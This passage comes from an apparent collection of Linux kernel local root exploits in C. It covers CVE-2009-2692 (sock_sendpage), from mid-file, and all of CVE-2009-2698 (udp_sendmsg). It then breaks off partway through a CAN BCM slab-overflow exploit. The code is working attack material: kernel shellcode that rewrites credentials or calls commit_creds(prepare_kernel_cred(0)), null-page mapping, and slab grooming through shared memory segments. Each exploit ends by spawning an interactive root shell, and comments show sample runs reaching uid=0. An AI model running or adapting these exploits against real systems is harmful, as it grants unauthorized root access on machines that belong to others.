| char user_stack[1024 * 1024]; 57 | 58 | typedef struct kern_sc_arg { 59 | void (*kernel_shellcode)(void); 60 | char *kern_sc; 61 | }KERN_SC_ARG; 62 | 63 | KERN_SC_ARG *kern_sc_arg = NULL; 64 | 65 | #ifdef X86_64 66 | static inline __attribute__((always_inline)) void *get_current(void) 67 | { 68 | unsigned long curr; 69 | 70 | __asm__ __volatile__("movq %%gs:(0), %0":"=r"(curr)); 71 | 72 | return (void *)curr; 73 | } 74 | static inline __attribute__((always_inline)) void *exit_kernel(void) 75 | { 76 | __asm__ __volatile__ ( 77 | "movq %0, 0x20(%%rsp)\n\t" 78 | "movq %1, 0x18(%%rsp)\n\t" 79 | "movq %2, 0x10(%%rsp)\n\t" 80 | "movq %3, 0x08(%%rsp)\n\t" 81 | "movq %4, 0x00(%%rsp)\n\t" 82 | "swapgs\n\t" 83 | "iretq" 84 | ::"i"(USER_SS), "r"(STACK(user_stack)), "i"(USER_FL), "i"(USER_CS), "r"(exit_user_code) 85 | ); 86 | } 87 | #else 88 | static inline __attribute__((always_inline)) void *get_current(void) 89 | { 90 | unsigned long curr; 91 | 92 | __asm__ __volatile__( 93 | "movl %%esp, %%eax\n\t" 94 | "andl %1, %%eax\n\t" 95 | "movl (%%eax), %0" 96 | :"=r"(curr) 97 | :"i"(~4095) 98 | ); 99 | 100 | return (void *)curr; 101 | } 102 | static inline __attribute__((always_inline)) void *exit_kernel(void) 103 | { 104 | __asm__ __volatile__ ( 105 | "movl %0, 0x10(%%esp)\n\t" 106 | "movl %1, 0x0c(%%esp)\n\t" 107 | "movl %2, 0x08(%%esp)\n\t" 108 | "movl %3, 0x04(%%esp)\n\t" 109 | "movl %4, 0x00(%%esp)\n\t" 110 | "iret" 111 | ::"i"(USER_SS), "r"(STACK(user_stack)), "i"(USER_FL), "i"(USER_CS), "r"(exit_user_code) 112 | ); 113 | } 114 | #endif 115 | void kernel_shellcode(void) 116 | { 117 | unsigned int *p; 118 | int i; 119 | 120 | p = get_current(); 121 | for (i = 0; i < 4096; i++) { 122 | if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && 123 | p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { 124 | p[0] = p[1] = p[2] = p[3] = 0; 125 | p[4] = p[5] = p[6] = p[7] = 0; 126 | break; 127 | } 128 | p++; 129 | } 130 | 131 | out: 132 | exit_kernel(); 133 | } 134 | 135 | void kernel_shellcode_new(void) 136 | { 137 | commit_creds(prepare_kernel_cred(0)); 138 | exit_kernel(); 139 | } 140 | void exit_user_code(void) 141 | { 142 | if (getuid() != 0) { 143 | printf("[-] exploit failed.\n"); 144 | exit(-1); 145 | } 146 | 147 | printf("[+] We are root!\n"); 148 | execl("/bin/sh", "sh", "-i", NULL); 149 | } 150 | unsigned long find_symbol_by_proc(char *file_name, char *symbol_name) 151 | { 152 | FILE *s_fp; 153 | char buff[200]; 154 | char *p = NULL, *p1 = NULL; 155 | unsigned long addr = 0; 156 | 157 | s_fp = fopen(file_name, "r"); 158 | if (s_fp == NULL) { 159 | printf("open %s failed.\n", file_name); 160 | return 0; 161 | } 162 | 163 | while (fgets(buff, 200, s_fp) != NULL) { 164 | if (strstr(buff, symbol_name) != NULL) { 165 | buff[strlen(buff) - 1] = '\0'; 166 | p = strchr(strchr(buff, ' ') + 1, ' '); 167 | ++p; 168 | if (!p) 169 | return 0; 170 | 171 | if (!strcmp(p, symbol_name)) { 172 | p1 = strchr(buff, ' '); 173 | *p1 = '\0'; 174 | sscanf(buff, "%lx", &addr); 175 | break; 176 | } 177 | } 178 | } 179 | 180 | fclose(s_fp); 181 | return addr; 182 | } 183 | void parse_os_version(char *orig, char *new) 184 | { 185 | char *c; 186 | 187 | c = strchr(orig, '-'); 188 | if (c) 189 | *c = 0; 190 | c = strchr(orig, '.'); 191 | if (c) { 192 | c = strchr(c + 1, '.'); 193 | strcpy(new, c + 1); 194 | } 195 | } 196 | 197 | int knull_init(void) 198 | { 199 | struct utsname os_ver; 200 | char buf[32] = {0}; 201 | 202 | kern_sc_arg = (KERN_SC_ARG *)malloc(sizeof(KERN_SC_ARG)); 203 | if (!kern_sc_arg) 204 | return -1; 205 | 206 | uid = getuid(); 207 | gid = getgid(); 208 | 209 | if (uname(&os_ver) == -1) { 210 | perror("uname"); 211 | goto out; 212 | } 213 | 214 | parse_os_version(os_ver.release, buf); 215 | printf("[+] target os: %s\n", os_ver.release); 216 | 217 | if (atoi(buf) >= 20 ) { 218 | printf("[+] looking for symbols...\n"); 219 | commit_creds = (_commit_creds)find_symbol_by_proc(KALLSYMS_NAME, "commit_creds"); 220 | if (!commit_creds) { 221 | printf("[-] not found commit_creds addr.\n"); 222 | goto out; 223 | } 224 | printf("[+] found commit_creds addr: %p\n", commit_creds); 225 | 226 | prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME, 227 | "prepare_kernel_cred"); 228 | if (!prepare_kernel_cred) { 229 | printf("[-] not found prepare_kernel_cred addr.\n"); 230 | goto out; 231 | } 232 | printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred); 233 | 234 | kern_sc_arg->kernel_shellcode = kernel_shellcode_new; 235 | } 236 | else { 237 | kern_sc_arg->kernel_shellcode = kernel_shellcode; 238 | } 239 | 240 | return 0; 241 | out: 242 | free(kern_sc_arg); 243 | return -1; 244 | } 245 | 246 | void knull_exit(void) 247 | { 248 | free(kern_sc_arg); 249 | } 250 | 251 | int null_def_trigger(void) 252 | { 253 | void *sc_addr; 254 | int in_fd, out_fd; 255 | char tmp[] = "/tmp/tmp.XXXXXX"; 256 | 257 | sc_addr = mmap(NULL, PAYLOAD_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, 258 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); 259 | if (sc_addr == MAP_FAILED) { 260 | perror("mmap"); 261 | return -1; 262 | } 263 | 264 | memset(sc_addr, 0x90, PAYLOAD_SIZE); 265 | *(char *)(sc_addr + 12) = 0xe8; 266 | *(int *)(sc_addr + 13) = (int)kernel_shellcode - 12 - 5; 267 | 268 | printf("[+] mmaping shellcode at zero ok.\n"); 269 | printf("[+] trigger null pointer def...\n"); 270 | 271 | out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0); 272 | if (out_fd < 0) { 273 | perror("socket"); 274 | return -1; 275 | } 276 | 277 | in_fd = mkstemp(tmp); 278 | if (in_fd < 0) { 279 | perror("mkstemp"); 280 | return -1; 281 | } 282 | 283 | unlink(tmp); 284 | ftruncate(in_fd, 4096); 285 | sendfile(out_fd, in_fd, NULL, 4096); 286 | 287 | /* never return here. */ 288 | munmap(sc_addr, PAYLOAD_SIZE); 289 | return 0; 290 | } 291 | 292 | void exp_banner(void) 293 | { 294 | printf("CVE-2009-2692 Linux kernel 2.4/(2.6.0 - 2.6.30.4) sock_sendpage local root exploit.\n" 295 | "by wzt http://www.cloud-sec.org\n"); 296 | } 297 | 298 | int main(void) 299 | { 300 | exp_banner(); 301 | knull_init(); 302 | null_def_trigger(); 303 | knull_exit(); 304 | 305 | return 0; 306 | } 307 | -------------------------------------------------------------------------------- /CVE-2009-2698-udp_sendmsg.c: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2009-2698 Linux kernel < 2.6.19 udp_sendmsg local root exploit. 3 | * 4 | * by wzt http://www.cloud-sec.org 5 | * 6 | * test on rhel5.2 x86/x86_64 7 | * 8 | * [wzt@localhost ~]$ ./CVE-2009-2698-udp_sendmsg 9 | * CVE-2009-2698 Linux kernel < 2.6.19 udp_sendmsg local root exploit. 10 | * by wzt http://www.cloud-sec.org 11 | * [+] target os: 2.6.18 12 | * [+] mmaping shellcode at zero ok. 13 | * [+] trigger null pointer def... 14 | * [+] We are root! 15 | * sh-3.2# id 16 | * uid=0(root) gid=0(root) groups=500(wzt) context=user_u:system_r:unconfined_t 17 | * sh-3.2# uname -a 18 | * Linux localhost.localdomain 2.6.18-92.el5 #1 SMP Tue Jun 10 18:51:06 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux 19 | */ 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | //#define X86_64 32 | 33 | #define PAYLOAD_SIZE 1024 34 | #define KALLSYMS_NAME "/proc/kallsyms" 35 | 36 | #ifdef X86_64 37 | #define USER_CS 0x33 38 | #define USER_SS 0x2b 39 | #define USER_FL 0x246 40 | #else 41 | #define USER_CS 0x73 42 | #define USER_SS 0x7b 43 | #define USER_FL 0x246 44 | #endif 45 | #define STACK(x) (x + sizeof(x)) 46 | 47 | typedef int __attribute__((regparm(1)))(*_commit_creds)(unsigned long cred); 48 | typedef unsigned long __attribute__((regparm(1)))(*_prepare_kernel_cred)(unsigned long cred); 49 | _commit_creds commit_creds; 50 | _prepare_kernel_cred prepare_kernel_cred; 51 | static unsigned int uid, gid; 52 | 53 | void exit_user_code(void); 54 | char user_stack[1024 * 1024]; 55 | 56 | typedef struct kern_sc_arg { 57 | void (*kernel_shellcode)(void); 58 | char *kern_sc; 59 | }KERN_SC_ARG; 60 | 61 | KERN_SC_ARG *kern_sc_arg = NULL; 62 | 63 | struct fake_dst_entry 64 | { 65 | void *next; 66 | int refcnt; 67 | int use; 68 | void *child; 69 | void *dev; 70 | short error; 71 | short obsolete; 72 | int flags; 73 | unsigned long lastuse; 74 | unsigned long expires; 75 | unsigned short header_len; 76 | unsigned short trailer_len; 77 | unsigned int metrics[14]; 78 | void *input[10]; 79 | }; 80 | 81 | #ifdef X86_64 82 | static inline __attribute__((always_inline)) void *get_current(void) 83 | { 84 | unsigned long curr; 85 | 86 | __asm__ __volatile__("movq %%gs:(0), %0":"=r"(curr)); 87 | 88 | return (void *)curr; 89 | } 90 | static inline __attribute__((always_inline)) void *exit_kernel(void) 91 | { 92 | __asm__ __volatile__ ( 93 | "movq %0, 0x20(%%rsp)\n\t" 94 | "movq %1, 0x18(%%rsp)\n\t" 95 | "movq %2, 0x10(%%rsp)\n\t" 96 | "movq %3, 0x08(%%rsp)\n\t" 97 | "movq %4, 0x00(%%rsp)\n\t" 98 | "swapgs\n\t" 99 | "iretq" 100 | ::"i"(USER_SS), "r"(STACK(user_stack)), "i"(USER_FL), "i"(USER_CS), "r"(exit_user_code) 101 | ); 102 | } 103 | #else 104 | static inline __attribute__((always_inline)) void *get_current(void) 105 | { 106 | unsigned long curr; 107 | 108 | __asm__ __volatile__( 109 | "movl %%esp, %%eax\n\t" 110 | "andl %1, %%eax\n\t" 111 | "movl (%%eax), %0" 112 | :"=r"(curr) 113 | :"i"(~4095) 114 | ); 115 | 116 | return (void *)curr; 117 | } 118 | static inline __attribute__((always_inline)) void *exit_kernel(void) 119 | { 120 | __asm__ __volatile__ ( 121 | "movl %0, 0x10(%%esp)\n\t" 122 | "movl %1, 0x0c(%%esp)\n\t" 123 | "movl %2, 0x08(%%esp)\n\t" 124 | "movl %3, 0x04(%%esp)\n\t" 125 | "movl %4, 0x00(%%esp)\n\t" 126 | "iret" 127 | ::"i"(USER_SS), "r"(STACK(user_stack)), "i"(USER_FL), "i"(USER_CS), "r"(exit_user_code) 128 | ); 129 | } 130 | #endif 131 | void kernel_shellcode(void) 132 | { 133 | unsigned int *p; 134 | int i; 135 | 136 | p = get_current(); 137 | for (i = 0; i < 4096; i++) { 138 | if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && 139 | p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { 140 | p[0] = p[1] = p[2] = p[3] = 0; 141 | p[4] = p[5] = p[6] = p[7] = 0; 142 | break; 143 | } 144 | p++; 145 | } 146 | 147 | out: 148 | exit_kernel(); 149 | } 150 | 151 | void kernel_shellcode_new(void) 152 | { 153 | commit_creds(prepare_kernel_cred(0)); 154 | exit_kernel(); 155 | } 156 | void exit_user_code(void) 157 | { 158 | if (getuid() != 0) { 159 | printf("[-] exploit failed.\n"); 160 | exit(-1); 161 | } 162 | 163 | printf("[+] We are root!\n"); 164 | execl("/bin/sh", "sh", "-i", NULL); 165 | } 166 | unsigned long find_symbol_by_proc(char *file_name, char *symbol_name) 167 | { 168 | FILE *s_fp; 169 | char buff[200]; 170 | char *p = NULL, *p1 = NULL; 171 | unsigned long addr = 0; 172 | 173 | s_fp = fopen(file_name, "r"); 174 | if (s_fp == NULL) { 175 | printf("open %s failed.\n", file_name); 176 | return 0; 177 | } 178 | 179 | while (fgets(buff, 200, s_fp) != NULL) { 180 | if (strstr(buff, symbol_name) != NULL) { 181 | buff[strlen(buff) - 1] = '\0'; 182 | p = strchr(strchr(buff, ' ') + 1, ' '); 183 | ++p; 184 | if (!p) 185 | return 0; 186 | 187 | if (!strcmp(p, symbol_name)) { 188 | p1 = strchr(buff, ' '); 189 | *p1 = '\0'; 190 | sscanf(buff, "%lx", &addr); 191 | break; 192 | } 193 | } 194 | } 195 | 196 | fclose(s_fp); 197 | return addr; 198 | } 199 | void parse_os_version(char *orig, char *new) 200 | { 201 | char *c; 202 | 203 | c = strchr(orig, '-'); 204 | if (c) 205 | *c = 0; 206 | c = strchr(orig, '.'); 207 | if (c) { 208 | c = strchr(c + 1, '.'); 209 | strcpy(new, c + 1); 210 | } 211 | } 212 | 213 | int knull_init(void) 214 | { 215 | struct utsname os_ver; 216 | char buf[32] = {0}; 217 | 218 | kern_sc_arg = (KERN_SC_ARG *)malloc(sizeof(KERN_SC_ARG)); 219 | if (!kern_sc_arg) 220 | return -1; 221 | 222 | uid = getuid(); 223 | gid = getgid(); 224 | 225 | if (uname(&os_ver) == -1) { 226 | perror("uname"); 227 | goto out; 228 | } 229 | 230 | parse_os_version(os_ver.release, buf); 231 | printf("[+] target os: %s\n", os_ver.release); 232 | 233 | if (atoi(buf) >= 20 ) { 234 | printf("[+] looking for symbols...\n"); 235 | commit_creds = (_commit_creds)find_symbol_by_proc(KALLSYMS_NAME, "commit_creds"); 236 | if (!commit_creds) { 237 | printf("[-] not found commit_creds addr.\n"); 238 | goto out; 239 | } 240 | printf("[+] found commit_creds addr: %p\n", commit_creds); 241 | 242 | prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME, 243 | "prepare_kernel_cred"); 244 | if (!prepare_kernel_cred) { 245 | printf("[-] not found prepare_kernel_cred addr.\n"); 246 | goto out; 247 | } 248 | printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred); 249 | 250 | kern_sc_arg->kernel_shellcode = kernel_shellcode_new; 251 | } 252 | else { 253 | kern_sc_arg->kernel_shellcode = kernel_shellcode; 254 | } 255 | 256 | return 0; 257 | out: 258 | free(kern_sc_arg); 259 | return -1; 260 | } 261 | 262 | void knull_exit(void) 263 | { 264 | free(kern_sc_arg); 265 | } 266 | 267 | int null_def_trigger(void) 268 | { 269 | struct sockaddr sock = { 270 | .sa_family = AF_UNSPEC, 271 | .sa_data = "AAAA", 272 | }; 273 | struct fake_dst_entry *sc_addr; 274 | char buf[1024] = {0}; 275 | int fd, i; 276 | 277 | sc_addr = mmap(NULL, PAYLOAD_SIZE, PROT_READ | PROT_WRITE, 278 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); 279 | if (sc_addr == MAP_FAILED) { 280 | perror("mmap"); 281 | return -1; 282 | } 283 | printf("[+] mmaping shellcode at zero ok.\n"); 284 | printf("[+] trigger null pointer def...\n"); 285 | 286 | /* 287 | * int ip_append_data(struct sock *sk, 288 | * int getfrag(void *from, char *to, int offset, int len, 289 | * int odd, struct sk_buff *skb), 290 | * void *from, int length, int transhdrlen, 291 | * struct ipcm_cookie *ipc, struct rtable *rt, 292 | * unsigned int flags) 293 | * { 294 | * ... 295 | * 296 | * this will trigger the null pointer deference. 297 | * inet->cork.fragsize = mtu = dst_mtu(rt->u.dst.path); 298 | * } 299 | */ 300 | for (i = 0; i < 10; i++) 301 | sc_addr->input[i] = (void *)&kernel_shellcode; 302 | 303 | fd = socket(PF_INET, SOCK_DGRAM, 0); 304 | if (fd < 0) { 305 | perror("socket"); 306 | return -1; 307 | } 308 | 309 | sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &sock, sizeof(sock)); 310 | sendto(fd, buf, 1024, 0, &sock, sizeof(sock)); 311 | 312 | /* never return here. */ 313 | munmap(sc_addr, PAYLOAD_SIZE); 314 | return 0; 315 | } 316 | 317 | void exp_banner(void) 318 | { 319 | printf("CVE-2009-2698 Linux kernel < 2.6.19 udp_sendmsg local root exploit.\n" 320 | "by wzt http://www.cloud-sec.org\n"); 321 | } 322 | 323 | int main(void) 324 | { 325 | exp_banner(); 326 | knull_init(); 327 | null_def_trigger(); 328 | knull_exit(); 329 | 330 | return 0; 331 | } 332 | -------------------------------------------------------------------------------- /can_bcm_exp.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit 3 | * 4 | * by wzt 5 | * 6 | * based on exploit by Jon Oberheide, the original code use RX_SETUP opcode 7 | * to locate the smashed shmid_kernel, i modified it to general slub overflow 8 | * templates. 9 | * 10 | * tested on centos5.4 + 2.6.32 with selinux disabled. 11 | * 12 | * [wzt@localhost can]$ ./exp 13 | * [+] looking for symbols... 14 | * [+] found commit_creds addr at 0xc0446524. 15 | * [+] found prepare_kernel_cred addr at 0xc0446710. 16 | * [+] setting up exploit payload... 17 | * [+] checking slab total: 1008 active: 915 free: 93 18 | * [+] smashing free slab ... 19 | * [+] smashing 46 total: 1008 active: 1008 free: 0 20 | * [+] smashing adjacent slab ... 21 | * [+] smashing 146 total: 1092 active: 1092 free: 0 22 | * [+] free exist shmid with idx: 142 23 | * [+] creating PF_CAN socket... 24 | * [+] connecting PF_CAN socket... 25 | * [+] clearing out any active OPs via RX_DELETE... 26 | * [+] first trigger 96 bytes in kmalloc-96. 27 | * [+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec... 28 | * [+] mmap'ed mapping of length 328 at 0xb7761000 29 | * [+] smashing adjacent shmid with dummy payload via malformed RX_SETUP... 30 | * [+] launching root shell! 31 | * [root@localhost can]# id 32 | * uid=0(root) gid=0(root) 33 | * [root@localhost can]# uname -a 34 | * Linux localhost.localdomain 2.6.32 #3 SMP Sat Dec 25 12:23:19 CST 2010 i686 i686 i386 GNU/Linux 35 | * [root@localhost can]# 36 | * 37 | */ 38 | 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | 55 | #define KALLSYMS_NAME "/proc/kallsyms" 56 | #define SLAB_NAME "kmalloc-96" 57 | #define SLAB_SIZE 96 58 | #define SLAB_NUM 100 59 | 60 | struct sockaddr_can { 61 | sa_family_t can_family; 62 | int can_ifindex; 63 | union { 64 | struct { uint32_t rx_id, tx_id; } tp; 65 | } can_addr; 66 | }; 67 | 68 | struct can_frame { 69 | uint32_t can_id; 70 | uint8_t can_dlc; 71 | uint8_t data[8] __attribute__((aligned(8))); 72 | }; 73 | 74 | struct bcm_msg_head { 75 | uint32_t opcode; 76 | uint32_t flags; 77 | uint32_t count; 78 | struct timeval ival1, ival2; 79 | uint32_t can_id; 80 | uint32_t nframes; 81 | struct can_frame frames[0]; 82 | }; 83 | 84 | #ifndef PF_CAN 85 | #define PF_CAN 29 86 | #endif 87 | 88 | #ifndef CAN_BCM 89 | #define CAN_BCM 2 90 | #endif 91 | 92 | #define RX_SETUP 5 93 | #define RX_DELETE 6 94 | #define CFSIZ sizeof(struct can_frame) 95 | #define MHSIZ sizeof(struct bcm_msg_head) 96 | #define IPCMNI 32768 97 | #define EIDRM 43 98 | #define HDRLEN_KMALLOC 8 99 | 100 | struct list_head { 101 | struct list_head *next; 102 | struct list_head *prev; 103 | }; 104 | 105 | struct super_block { 106 | struct list_head s_list; 107 | unsigned int s_dev; 108 | unsigned long s_blocksize; 109 | unsigned char s_blocksize_bits; 110 | unsigned char s_dirt; 111 | uint64_t s_maxbytes; 112 | void *s_type; 113 | void *s_op; 114 | void *dq_op; 115 | void *s_qcop; 116 | void *s_export_op; 117 | unsigned long s_flags; 118 | }super_block; 119 | 120 | struct mutex { 121 | unsigned int count; 122 | unsigned int wait_lock; 123 | struct list_head wait_list; 124 | void *owner; 125 | }; 126 | 127 | struct inode { 128 | struct list_head i_hash; 129 | struct list_head i_list; 130 | struct list_head i_sb_list; 131 | struct list_head i_dentry_list; 132 | unsigned long i_ino; 133 | unsigned int i_count; 134 | unsigned int i_nlink; 135 | unsigned int i_uid; 136 | unsigned int i_gid; 137 | unsigned int i_rdev; 138 | uint64_t i_version; 139 | uint64_t i_size; 140 | unsigned int i_size_seqcount; 141 | long i_atime_tv_sec; 142 | long i_atime_tv_nsec; 143 | long i_mtime_tv_sec; 144 | long i_mtime_tv_nsec; 145 | long i_ctime_tv_sec; 146 | long i_ctime_tv_nsec; 147 | uint64_t i_blocks; 148 | unsigned int i_blkbits; 149 | unsigned short i_bytes; 150 | unsigned short i_mode; 151 | unsigned int i_lock; 152 | struct mutex i_mutex; 153 | unsigned int i_alloc_sem_activity; 154 | unsigned int i_alloc_sem_wait_lock; 155 | struct list_head i_alloc_sem_wait_list; 156 | void *i_op; 157 | void *i_fop; 158 | struct super_block *i_sb; 159 | void *i_flock; 160 | void *i_mapping; 161 | char i_data[84]; 162 | void *i_dquot_1; 163 | void *i_dquot_2; 164 | struct list_head i_devices; 165 | void *i_pipe_union; 166 | unsigned int i_generation; 167 | unsigned int i_fsnotify_mask; 168 | void *i_fsnotify_mark_entries; 169 | struct list_head inotify_watches; 170 | struct mutex inotify_mutex; 171 | }inode; 172 | 173 | struct dentry { 174 | unsigned int d_count; 175 | unsigned int d_flags; 176 | unsigned int d_lock; 177 | int d_mounted; 178 | void *d_inode; 179 | struct list_head d_hash; 180 | void *d_parent; 181 | }dentry; 182 | 183 | struct file_operations { 184 | void *owner; 185 | void *llseek; 186 | void *read; 187 | void *write; 188 | void *aio_read; 189 | void *aio_write; 190 | void *readdir; 191 | void *poll; 192 | void *ioctl; 193 | void *unlocked_ioctl; 194 | void *compat_ioctl; 195 | void *mmap; 196 | void *open; 197 | void *flush; 198 | void *release; 199 | void *fsync; 200 | void *aio_fsync; 201 | void *fasync; 202 | void *lock; 203 | void *sendpage; 204 | void *get_unmapped_area; 205 | void *check_flags; 206 | void *flock; 207 | void *splice_write; 208 | void *splice_read; 209 | void *setlease; 210 | }op; 211 | 212 | struct vfsmount { 213 | struct list_head mnt_hash; 214 | void *mnt_parent; 215 | void *mnt_mountpoint; 216 | void *mnt_root; 217 | void *mnt_sb; 218 | struct list_head mnt_mounts; 219 | struct list_head mnt_child; 220 | int mnt_flags; 221 | const char *mnt_devname; 222 | struct list_head mnt_list; 223 | struct list_head mnt_expire; 224 | struct list_head mnt_share; 225 | struct list_head mnt_slave_list; 226 | struct list_head mnt_slave; 227 | struct vfsmount *mnt_master; 228 | struct mnt_namespace *mnt_ns; 229 | int mnt_id; 230 | int mnt_group_id; 231 | int mnt_count; 232 | }vfsmount; 233 | 234 | struct file { 235 | struct list_head fu_list; 236 | struct vfsmount *f_vfsmnt; 237 | struct dentry *f_dentry; 238 | void *f_op; 239 | unsigned int f_lock; 240 | unsigned long f_count; 241 | }file; 242 | 243 | struct kern_ipc_perm { 244 | unsigned int lock; 245 | int deleted; 246 | int id; 247 | unsigned int key; 248 | unsigned int uid; 249 | unsigned int gid; 250 | unsigned int cuid; 251 | unsigned int cgid; 252 | unsigned int mode; 253 | unsigned int seq; 254 | void *security; 255 | }; 256 | 257 | struct shmid_kernel { 258 | struct kern_ipc_perm shm_perm; 259 | struct file *shm_file; 260 | unsigned long shm_nattch; 261 | unsigned long shm_segsz; 262 | time_t shm_atim; 263 | time_t shm_dtim; 264 | time_t shm_ctim; 265 | unsigned int shm_cprid; 266 | unsigned int shm_lprid; 267 | void *mlock_user; 268 | }shmid_kernel; 269 | 270 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 271 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 272 | _commit_creds commit_creds; 273 | _prepare_kernel_cred prepare_kernel_cred; 274 | 275 | int __attribute__((regparm(3))) 276 | kernel_code(struct file *file, void *vma) 277 | { 278 | commit_creds(prepare_kernel_cred(0)); 279 | return -1; 280 | } 281 | 282 | unsigned long find_symbol_by_proc(char *file_name, char *symbol_name) 283 | { 284 | FILE *s_fp; 285 | char buff[200]; 286 | char *p = NULL, *p1 = NULL; 287 | unsigned long addr = 0; 288 | 289 | s_fp = fopen(file_name, "r"); 290 | if (s_fp == NULL) { 291 | printf("open %s failed.\n", file_name); 292 | return 0; 293 | } 294 | 295 | while (fgets(buff, 200, s_fp) != NULL) { 296 | if (strstr(buff, symbol_name) != NULL) { 297 | buff[strlen(buff) - 1] = '\0'; 298 | p = strchr(strchr(buff, ' ') + 1, ' '); 299 | ++p; 300 | 301 | if (!p) { 302 | return 0; 303 | } 304 | if (!strcmp(p, symbol_name)) { 305 | p1 = strchr(buff, ' '); 306 | *p1 = '\0'; 307 | sscanf(buff, "%lx", &addr); 308 | //addr = strtoul(buff, NULL, 16); 309 | printf("[+] found %s addr at 0x%x.\n", 310 | symbol_name, addr); 311 | break; 312 | } 313 | } 314 | } 315 | 316 | fclose(s_fp); 317 | return addr; 318 | } 319 | 320 | int check_slab(char *slab_name, int *active, int *total) 321 | { 322 | FILE *fp; 323 | char buff[1024], name[64]; 324 | int active_num, total_num; 325 | 326 | fp = fopen("/proc/slabinfo", "r"); 327 | if (!fp) { 328 | perror("fopen"); 329 | return -1; 330 | } 331 | 332 | while (fgets(buff, 1024, fp) != NULL) { 333 | sscanf(buff, "%s %u %u", name, &active_num, &total_num); 334 | if (!strcmp(slab_name, name)) { 335 | *active = active_num; 336 | *total = total_num; 337 | return total_num - active_num; 338 | } 339 | } 340 | 341 | return -1; 342 | } 343 | 344 | void clear_old_shm(void) 345 | { 346 | char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; " 347 | "do ipcrm -m $shmid > /dev/null 2>&1; done;"; 348 | 349 | system(cmd); 350 | } 351 | 352 | void setup(void) 353 | { 354 | printf("[+] looking for symbols...\n"); 355 | 356 | commit_creds = (_commit_creds) 357 | find_symbol_by_proc(KALLSYMS_NAME, "commit_creds"); 358 | if (!commit_creds) { 359 | printf("[-] not found commit_creds addr.\n"); 360 | return ; 361 | } 362 | 363 | prepare_kernel_cred = 364 | (_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME, 365 | "prepare_kernel_cred"); 366 | if (!prepare_kernel_cred) { 367 | printf("[-] not found prepare_kernel_cred addr.\n"); 368 | return ; 369 | } 370 | 371 | printf("[+] setting up exploit payload...\n"); 372 | 373 | super_block.s_flags = 0; 374 | 375 | inode.i_size = 4096; 376 | inode.i_sb = &super_block; 377 | inode.inotify_watches.next = &inode.inotify_watches; 378 | inode.inotify_watches.prev = &inode.inotify_watches; 379 | inode.inotify_mutex.count = 1; 380 | 381 | dentry.d_count = 4096; 382 | dentry.d_flags = 4096; 383 | dentry.d_parent = NULL; 384 | dentry.d_inode = &inode; 385 | 386 | op.mmap = &kernel_code; 387 | op.get_unmapped_area = &kernel_code; 388 | 389 | vfsmount.mnt_flags = 0; 390 | vfsmount.mnt_count = 1; 391 | 392 | file.fu_list.prev = &file.fu_list; 393 | file.fu_list.next = &file.fu_list; 394 | file.f_dentry = &dentry; 395 | file.f_vfsmnt = &vfsmount; 396 | file.f_op = &op; 397 | 398 | shmid_kernel.shm_perm.key = IPC_PRIVATE; 399 | shmid_kernel.shm_perm.uid = 501; 400 | shmid_kernel.shm_perm.gid = 501; 401 | shmid_kernel.shm_perm.cuid = getuid(); 402 | shmid_kernel.shm_perm.cgid = getgid(); 403 | shmid_kernel.shm_perm.mode = -1; 404 | shmid_kernel.shm_file = &file; 405 | } 406 | 407 | int trigger(void) 408 | { 409 | int *shmids; 410 | int total_num, active_num, free_num; 411 | int i, ret, sock, base, free_idx; 412 | int len, sock_len, mmap_len; 413 | struct sockaddr_can addr; 414 | struct bcm_msg_head *msg; 415 | void *efault; 416 | char *buf; 417 | 418 | clear_old_shm(); 419 | 420 | free_num = check_slab(SLAB_NAME, &active_num, &total_num); 421 | fprintf(stdout, "[+] checking slab total: %d active: %d free: %d\n", 422 | total_num, active_num, total_num - active_num); 423 | 424 | shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3)); 425 | 426 | fprintf(stdout, "[+] smashing free slab ...\n"); 427 | for (i = 0; i < free_num + SLAB_NUM; i++) { 428 | if (!check_slab(SLAB_NAME, &active_num, &total_num)) 429 | break; 430 | 431 | shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT); 432 | if (shmids[i] < 0) { 433 | perror("shmget"); 434 | return -1; 435 | } 436 | } 437 | base = i; 438 | fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n", 439 | i, total_num, active_num, total_num - active_num); 440 | 441 | fprintf(stdout, "[+] smashing adjacent slab ...\n"); 442 | i = base; 443 | for (; i < base + SLAB_NUM; i++) { 444 | shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT); 445 | if (shmids[i] < 0) { 446 | perror("shmget"); 447 | return -1; 448 | } 449 | } 450 | check_slab(SLAB_NAME, &active_num, &total_num); 451 | fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n", 452 | i, total_num, active_num, total_num - active_num); 453 | 454 | free_idx = i - 4; 455 | fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx); 456 | if (shmctl(shmids[free_idx], IPC_RMID, NULL) == 